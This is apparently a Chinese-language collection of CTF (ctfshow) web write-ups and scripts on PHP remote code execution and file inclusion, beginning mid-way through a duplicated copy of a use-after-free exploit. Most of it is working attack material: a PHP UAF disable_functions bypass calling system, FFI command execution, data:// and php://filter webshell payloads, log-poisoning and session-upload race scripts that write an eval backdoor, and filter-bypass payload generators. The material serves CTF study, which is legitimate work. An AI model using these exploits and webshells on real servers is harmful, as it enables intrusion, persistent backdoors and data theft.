$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
?>
web73
payload:
这题没open_basedir
c=var_export(scandir('/'));exit(0);
c=require_once('/flagc.txt');exit(0);
web74
payload:
c=var_export(glob('/*'));exit(0);?>#查看根目录文件
c=include('/flagx.txt');exit();
web75
payload:
查看目录信息
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
通过数据库读取文件内容
数据库弱口令,mysql数据库是mysql自带的系统库
c=try {$dbh = new PDO('mysql:host=localhost;dbname=mysql', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
web76
payload:
查看目录信息
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
读取文件
c=try {$dbh = new PDO('mysql:host=localhost;dbname=mysql', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
web77
查看目录
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
使用FFI类,FFI从php7.4开始才有
c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > /var/www/html/1.txt';
$ffi->system($a); exit();
c=readgzfile("1.txt");exit; 拿到flag
文件包含导致的RCE
data://伪协议命令执行
满足条件
allow_url_include On
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==解码<?php system('cat flag.php');?>
如果想eval拿webshell需把<?php eval($_POST/GET[变量]);?>进行base64编码
但有的环境?>前不能有;否则无法webshell,编码<?php eval($_POST/GET[变量])?>即可,
其主要原因是因为base64后编码中有+号,浏览器会把+当做空格,把+url后也行,+的url编码是%2b
data://text/plain,要执行的代码#没有base64的话直接写php代码即可,但被过滤概率会大大提高
后缀绕过
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
直接data://text/plain,<?php php代码?>即可,?>会闭合php导致后面作为html执行
日志包含导致GETSHELL
用户的正确和错误请求都会记入web服务器日志,攻击者可以构造恶意代码来导致被日志记录 通过日志包含恶意代码带着getshell,注一般成功和错误日志都只有一次构造机会,因为php碰到错误php代码会停止执行,所以第一次尽量确保php代码无误 高版本Linux普通用户以无权包含日志 dabian系列(用apt管理软件包) apache默认日志文件位置 /var/log/apache2/access.log /var/log/apache2/error.log nginx默认日志文件位置 /var/log/nginx/access.log /var/log/nginx/error.log redhat系列(用yum管理软件包) apache默认日志文件位置 /var/log/httpd/access_log /var/log/httpd/error_log nginx默认日志文件位置 /var/log/nginx/access.log /var/log/nginx/error.log
Web题用到的脚本
CTF WEB正则表达式检测
<?php
echo "未被过滤的可见字符有:";
for($i = 32;$i <= 127;$i++)#ascii前0-31个字符是不可见的控制符所以没必要检测
{
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){#if中的正则替换为题目的即可
echo chr($i)." ";
}
}
?>
RCE自增马脚本
原理
当()、$、_、[]、+、;未被过滤时即可考虑自增加马
数组(Array)及数组类型为Array
例如
<?php
$a[0]=1;
var_dump($a);#会显示他的类型叫做Array
?>
可以将其转化为Array字符串
<?php
$a=[]."";
echo $a;
//输出:Array
?>
A的ascii为65是所有字母中最小的,所以可以自增为所有字母,因此通过连接字符串即可构建assert等函数
php中当变量等于一个函数时,则这个变量可以当做那个函数用,用法$变量名();,eval函数除外
当变量等于eval函数名时,想要用变量名代替eval使用会报函数不存在,所以需用assert函数来代码执行(注assert在7.1+后),所以只能构造system等来进行命令执行
ASSERT($_POST[_])
;
构建代码(注:ASSERT在7.1+版本中以不具有代码执行功能)
//目的ASSERT($_POST[_]);
<?php
echo "payload:";
//$_ = [].'';//转化为Array
//$_ = $_['!'=='+'];//转化为$_='A';,因为!不可能等于+自然就位false,false即0(其中!和+不固定替换位没过滤的2个字符即可)
//如果'被过滤就换成",当然生成代码改不改无所谓,要改的是生成的为
echo '$_=[].\'\';';//输出$_=[].''; 因为""中变量会执行,所以''闭合,''中有'时需要通过\转译
echo '$_=$_[\'!\'==\'+\'];';//输出$_ = $_['!'=='+']; 即$_[0]='A'
//$__=$_;//保存A确保A一直有
//$___=$_;//这个A用于自自增
echo '$__=$_;';
echo '$___=$_;';
//因为php大小写不敏感,即ASSERT和assert效果一样
//构造ASSERT
for($i = 0;$i < ord('S') - ord('A');$i++)
echo '$___++;';//自增到$___为S
echo '$_.=$___;';//$_=AS
echo '$_.=$___;';//$_=ASS
echo '$___=$__;';//初始化为A
for($i = 0;$i < ord('E') - ord('A');$i++)
echo '$___++;';//$___=E
echo '$_.=$___;';//$_=ASSE
echo '$___=$__;';//初始化为A
for($i = 0;$i < ord('R') - ord('A');$i++)
echo '$___++;';//$___=R
echo '$_.=$___;';//$_=ASSER
echo '$___=$__;';//初始化为A
for($i = 0;$i < ord('T') - ord('A');$i++)
echo '$___++;';//$___=T
echo '$_.=$___;';//$_=ASSERT
echo '$___=$__;';//初始化为A
//构造_POST
echo '$____=\'_\';';//$____='_';
for($i = 0;$i < ord('P') - ord('A');$i++)
echo '$___++;';
echo '$____.=$___;';
echo '$___=$__;';
for($i = 0;$i < ord('O') - ord('A');$i++)
echo '$___++;';
echo '$____.=$___;';
echo '$___=$__;';
for($i = 0;$i < ord('S') - ord('A');$i++)
echo '$___++;';
echo '$____.=$___;';
echo '$___=$__;';
for($i = 0;$i < ord('T') - ord('A');$i++)
echo '$___++;';
echo '$____.=$___;';
//现在构造出了$_=ASSERT
//$____=_POST,_POST要变为$_POST,即字符串变为变量
echo '$__=$$____;';//$____=_POST,前面在多一个$,即把变量$____的值作为变量即$__=$_POST
echo '$_($__[_]);';//($_POST[_]);
生成
传入的时候需要url编码
没有樱花也可将[].''替换为[]._,php程序会报错,但是代码依然执行,结果为Array_,['!'=='+']用[_]代替
payload:$_=[].'';$_=$_['!'=='+'];$__=$_;$___=$_;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$_.=$___;$_.=$___;$___=$__;$___++;$___++;$___++;$___++;$_.=$___;$___=$__;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$_.=$___;$___=$__;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$_.=$___;$___=$__;$____='_';$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$____.=$___;$___=$__;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$____.=$___;$___=$__;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$____.=$___;$___=$__;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$____.=$___;$__=$$____;$_($__[_]);
过滤引号的情况下
[]._;$_=$_[_];$__=$_;$___=$_;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$_.=$___;$_.=$___;$___=$__;$___++;$___++;$___++;$___++;$_.=$___;$___=$__;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$_.=$___;$___=$__;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$_.=$___;$___=$__;$____=_;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$____.=$___;$___=$__;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$____.=$___;$___=$__;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$____.=$___;$___=$__;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$____.=$___;$__=$$____;$_($__[_]);
$_GET($_GET[_])
构建代码
//目的_GET构架
<?php
echo 'payload:';
echo '$_=[].\'\';';//Array
echo '$_=$_[\'!\'==\'+\'];';//A
echo '$__=$_;';//$__=A
echo '$___=$_;';//$___=A
echo '$_=\'_\';';//$_=_
for($i = 0;$i < ord('G') - ord('A');$i++)
echo '$___++;';//G
echo '$_.=$___;';//_G
echo '$___=$__;';//A
for($i = 0;$i < ord('E') - ord('A');$i++)
echo '$___++;';//E
echo '$_.=$___;';//_GE
echo '$___=$__;';//A
for($i = 0;$i < ord('T') - ord('A');$i++)
echo '$___++;';//T
echo '$_.=$___;';//_GET
echo '$_=$$_;';//$_GET
echo '$_[_]($_[__]);';//$_GET[_]($_GET[__]);
生成
传入的时候需要url编码
没有樱花也可将[].''替换为[]._,php程序会报错,但是代码依然执行,结果为Array_,['!'=='+']用[_]代替
payload:$_=[].'';$_=$_['!'=='+'];$__=$_;$___=$_;$_='_';$___++;$___++;$___++;$___++;$___++;$___++;$_.=$___;$___=$__;$___++;$___++;$___++;$___++;$_.=$___;$___=$__;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$_.=$___;$_=$$_;$_[_]($_[__]);
过滤引号的情况下
$_=[]._;$_=$_[_];$__=$_;$___=$_;$_=_;$___++;$___++;$___++;$___++;$___++;$___++;$_.=$___;$___=$__;$___++;$___++;$___++;$___++;$_.=$___;$___=$__;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$_.=$___;$_=$$_;$_[_]($_[__]);
跟多构造组合原理相同
RCE或运算绕过脚本
payload生成或发送脚本
要发送请自行去掉注释代码的注释
import re
import urllib
from urllib import parse
import requests
contents = []#存字符和运算字符的关系
for i in range(256):
for j in range(256):
hex_i = '{:02x}'.format(i) # 将 i 转换为两位十六进制字符串
#:表示格式化选项的开始,0表示填充字符为0,2表示最总宽度为2不够补0,x表示十六进制,即10变为0a
hex_j = '{:02x}'.format(j) # 将 j 转换为两位十六进制字符串
preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
continue # 如果 i 或 j 的字符被正则表达式匹配,则跳过
else:
a = '%' + hex_i # 将 i 转换为 URL 编码形式
b = '%' + hex_j # 将 j 转换为 URL 编码形式
c = chr(int(a[1:], 16) | int(b[1:], 16)) # 按位或运算生成新字符,去掉%
if 32 <= ord(c) <= 126: # 检查生成的字符是否为可打印的 ASCII 字符
contents.append([c, a, b]) # 将字符及其对应的 URL 编码存储到列表中
def make_payload(cmd):
payload1 = ''
payload2 = ''
for i in cmd:
for j in contents:
if i == j[0]: # 查找与目标字符匹配的条目
payload1 += j[1] # 将匹配的 URL 编码拼接到 payload1
payload2 += j[2] # 将匹配的 URL 编码拼接到 payload2
break#找到一组即可终止循环避免重复字符多次生成
payload = '("' + payload1 + '"|"' + payload2 + '")' # 将两部分通过逻辑或运算符连接
return payload
# URL = input('url:') # 从用户输入中获取目标 URL
payload = make_payload('system') + make_payload('cat flag.php') # 生成 payload
print(payload)
# response = requests.post(URL, data={'c': urllib.parse.unquote(payload)}) # 发送 POST 请求
# print(response.text) # 打印服务器的响应内容
RCE八进制绕过脚本
<?php
$cmd = 'cat flag.php';
echo '$\'';
for ($i = 0; $i < strlen($cmd); $i++) {
if ($cmd[$i] != ' ')
printf('\%o', ord($cmd[$i]));
else
echo '\' $\'';
}
echo '\'';
uaf脚本
<!-- 该脚本的主要用途是在目标PHP服务器上执行系统命令,
例如读取文件内容、执行任意命令等。通过利用PHP对象注入漏洞,
攻击者可以绕过PHP的安全机制,执行恶意代码。 -->
<?php
function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
?>
文件包含漏洞
文件包含漏洞主要分为
-
本地文件包含(LFI) 攻击者利用应用程序包含本地文件,可能导致敏感信息泄露或代码执行。
-
远程文件包含(RFI) 攻击者通过包含远程服务器上的文件,直接在目标服务器上执行恶意代码。
PHP 伪协议介绍
1. file://
访问本地文件系统的协议,路径必须是绝对路径。
-
用途:读取或写入本地文件。
-
示例:
$content = file_get_contents('file:///etc/passwd'); echo $content;
-
注意:如果未对用户输入进行过滤,攻击者可能利用该协议读取敏感文件。
2. http://
和 https://
访问远程 HTTP 资源的协议。
-
用途:获取远程网页或 API 数据。
-
示例:
$content = file_get_contents('http://example.com/api/data'); echo $content;
-
注意:如果允许用户输入 URL,可能导致 SSRF(服务器端请求伪造)攻击。
3. php://
用于访问 PHP 的输入输出流。
-
常用流:
-
php://input
:读取原始的 POST 数据。 -
所需条件
;想要php://input执行POST区域的代码所需条件 allow_url_fopen = On allow_url_include = On
php
$data = file_get_contents('php://input'); echo $data;
-
php://output
:直接写入输出缓冲区。php
$file = fopen('php://output', 'w'); fwrite($file, 'Hello, World!'); fclose($file);
-
php://filter
:用于对流进行过滤(如编码转换)。php
$content = file_get_contents('php://filter/read=convert.base64-encode/resource=index.php'); echo $content; //convenrt.base64-encode可省略和read=可省略 //省略后php://filter//resource=index.php,就是不进行任何编码包含文件,但这样php代码会执行,导致不能得到源代码 //convent.base64这里的base64可改为其他编码如UTF-8
-
-
注意:
php://filter
常用于文件包含漏洞中读取 PHP 文件的源码。
4. data://
用于嵌入数据(如 Base64 编码的数据)。
-
用途:直接在 URL 中包含数据。
-
示例:
-
所需条件
;想要data://执行POST区域的代码所需条件 allow_url_include = On
php
$data = file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo='); echo $data; // 输出: I love PHP //这个伪协议也会在一些图片存储中见到如data://jpeg/plain;base64,图片数据base64编码后
-
注意:如果未对用户输入进行过滤,攻击者可能利用该协议执行恶意代码。
5. phar://
用于访问 PHAR(PHP Archive)文件中的内容。
-
用途:读取或执行 PHAR 文件中的代码。
-
示例:
php
$content = file_get_contents('phar://example.phar/file.txt'); echo $content;
-
注意:攻击者可能利用该协议执行 PHAR 文件中的恶意代码。
6. zip://
用于访问 ZIP 压缩包中的文件。
-
用途:读取 ZIP 文件中的内容。
-
示例:
php
复制
$content = file_get_contents('zip://example.zip#file.txt'); echo $content;
-
注意:需要指定文件路径和文件名。
7. glob://
用于查找匹配特定模式的文件路径。
-
用途:查找符合通配符规则的文件。
-
示例:
php
$files = iterator_to_array(glob('glob:///path/to/files/*.txt')); print_r($files);
8. ssh2://
用于通过 SSH 协议访问远程文件。
-
用途:读取或写入远程服务器上的文件。
-
示例:
php
$content = file_get_contents('ssh2://user:password@example.com/path/to/file.txt'); echo $content;
9. expect://
用于执行系统命令并获取输出。
-
用途:执行系统命令。
-
示例:
php
$output = file_get_contents('expect://ls'); echo $output;
-
注意:该协议非常危险,通常被禁用。
安全注意事项
-
禁用危险协议 在
php.ini
中禁用不必要的协议,如expect://
:ini
allow_url_fopen = Off allow_url_include = Off
-
过滤用户输入 避免直接将用户输入用于文件操作函数。
-
限制文件访问 使用白名单或限制文件路径,防止访问敏感文件。
总结
PHP 伪协议提供了强大的功能,但也可能被滥用。开发者应了解其用途和风险,并采取适当的安全措施来防止潜在的攻击。
题目遇到解法
文件包含过滤php绕过
例1:
$file = str_replace("php", "???", $file);
include($file);
}
str_replace替换函数,即php替换为??? 但这个函数对大小写敏感,所以可以大写绕过 所以可以使用PHP://filter/convert.base64-encode/resource= 但php执行代码大小写不敏感,Linux中文件大小写敏感,所以这里不能读取php文件,因为1.php和1.PHP是二个文件 所以php://filter不可用 绕过方法如下:
方法一:data://绕过
(条件allow_url_include On)
data://text/plain,<?PHP 要执行的代码?>
data://text/plain,base64后的代码
data://text/plain,<?=`要执行的命令`?>
方法二:PHP://input绕过
(条件allow_url_include On,allow_url_fopen On)
?url=PHP://input
POST请求体写php代码
文件包含过滤php,data,:等(日志文件包含)
例1:
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}
过滤了:也就意味着为协议基本上不能用了 思路:通过包含存在后面的文件来导致getshell 每一次的http请求服务器都会记录,比如200等的成功请求会记录成功日志,错误的404等请求则会记录错误日志,具体文件请看《文件包含导致的RCE》模块
绕过方法实例如下:
在user-agent用户代码后写入后门代码,请求成功后会将其存入成功日志
响应头如下:
发现是nginx服务器,默认成功日志在/var/log/nginx/access.log,包含日志文件即可让后面代码执行
效果如下
可以看到传入cmd=phpinfo();,phpinfo()执行出来了,也可以直接用蚁剑连接
CTF SHOW web入门web82
题目
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
解法
函数介绍
isset 检测变量是否为非空,变量没有值或为空字符串返回false,否则true
str_replace 将一个字符串中指定子字符串替换为另外一个字符串,str_replace('子字符串','替换字符串','字符串')
include 包含文件,包含的文件中有php代码则执行,没有则输出
1.分析题目发现php,data被替换,:也被替换,证明不能大写绕过,伪协议也基本不能用了,点(.)被过滤,不能通过包含日志文件(access.log,error.log)来shell
2.考虑其他入口,但有PHPSESSID时,php会在/tmp/生成一个临时文件名/tmp/sess_{PHPSESSID的值},也就是说PHPSESSID=shell时,就有/tmp/sess_shell这个文件,这里文件名可控
3.PHP_SESSION_UPLOAD_PROGRESS用于保存文件的上传进度信息
漏洞原理
-
当 PHP 开启
session.upload_progress.enabled
时,文件上传时会生成一个会话文件,其中包含上传进度信息。 -
攻击者可以通过构造恶意请求,将 PHP 代码写入会话文件。
PHP_SESSION_UPLOAD_PROGRESS可以通过POST进行传输,也就是说/tmp/sess_{PHPSESSID的值}内容可控,在临时文件还没销毁时包含即可执行里面的php代码
利用脚本如下
from requests import get, post
from io import BytesIO
from threading import Thread
from urllib.parse import urljoin
URL = 'url'
#指定漏洞url
PHPSESSID = 'shell'#指定PHPSESSID,作用控制临时文件名
def write():
code = "<?php file_put_contents('/var/www/html/shell.php', '<?php @eval($_POST[cmd]);?>');?>"
#指定PHP_SESSION_UPLOAD_PROGRESS的内容,使其写入临时文件中
data = {'PHP_SESSION_UPLOAD_PROGRESS': code}
cookies = {'PHPSESSID': PHPSESSID}
files = {'file': ('xxx.txt', BytesIO(b'x' * 10240))}
while True:
post(URL, data, cookies=cookies, files=files)
def read():
params = {'file': f'/tmp/sess_{PHPSESSID}'}#指定文件包含get参数的值
while True:
get(URL, params)#发送请求,如果包含到指定文件,即可执行预先定义的php代码
url = urljoin(URL, 'shell.php')#检测写入文件是否成功
code = get(url).status_code.real
print(f'{url} {code}')
if code == 200:
exit()
if __name__ == '__main__':
Thread(target=write, daemon=True).start()#启动一个守护线程,执行 write 函数
read()#启动一个守护线程,执行 write 函数,此时write和read()会进行并发执行
效果如下
木马上传完成后,即可进行rce
CTF SHOW web入门web87
题目
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
解法
1.分析题目发现有一下代码
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
//file_put_contents 写文件,并且指定文件名会有一次url解码,浏览器也会进行一次url解码,也就是说php这种进行2次url解码即可绕过过滤
2.漏洞利用
/?file=php://filter/write=string.rot13/resource=shell.php
#rot13表示凯撒13,将指定字符串凯撒13解码后写入shell.php,作用绕过die
content=<?cuc cucvasb();riny($_CBFG['pzq']);?>
#凯撒13加密后的后门
payload
/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30
POST
content=<?cuc cucvasb();riny($_CBFG['pzq']);?>
写入效果如下:
后面蚁剑连接密码cmd,或传post cmd即可
CTF SHOW web入门web117
题目
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
解法
1.审题发现没有过滤php://filter,但过滤了base64等
2.思路通过编码转换将<?php die();?>在写入文件时打乱,并确保写入代码在编码后能够执行php
php支持编码:https://www.php.net/manual/zh/mbstring.supported-encodings.php
生成编码转换后的代码
<?php
$str = '<?php eval($_POST[cmd]);?>';
$encode = file_get_contents('php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=data://text/plain,'.$str);
echo $encode;//?<hp pvela$(P_SO[Tmc]d;)>?
payload
/?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php
POST
contents=?<hp pvela$(P_SO[Tmc]d;)>?
通过蚁剑连接shell.php即可
CTFSHOW WEB入门PHP特性
web89
题目
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
//preg_match正则过滤,过滤的位置为数组时会导致,preg_match报错并返回0
//intval获取变量的整数值,也就是说整数不为0即可if成立
解法
/?num[]=1
WEB90
题目
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
解法
//intval只获取整数部分
方法一:/?num=4476.1
intval($num,0)第二个参数代表进制转换,0则默认为十进制
方法二:/?num=0x117C
WEB91
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
解法
preg_match中/i表示大小写,/m表示多行匹配,也就是说第一个if满足一个php开头和结尾就行
第二个preg_match没有/i,也就是说整个文本不是php开头和结尾,第二个if不成立,%0a表示换行符
/?cmd=%0aphp
web94
题目
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
解法
1.找入口点,发现echo $flag; 条件num=4476
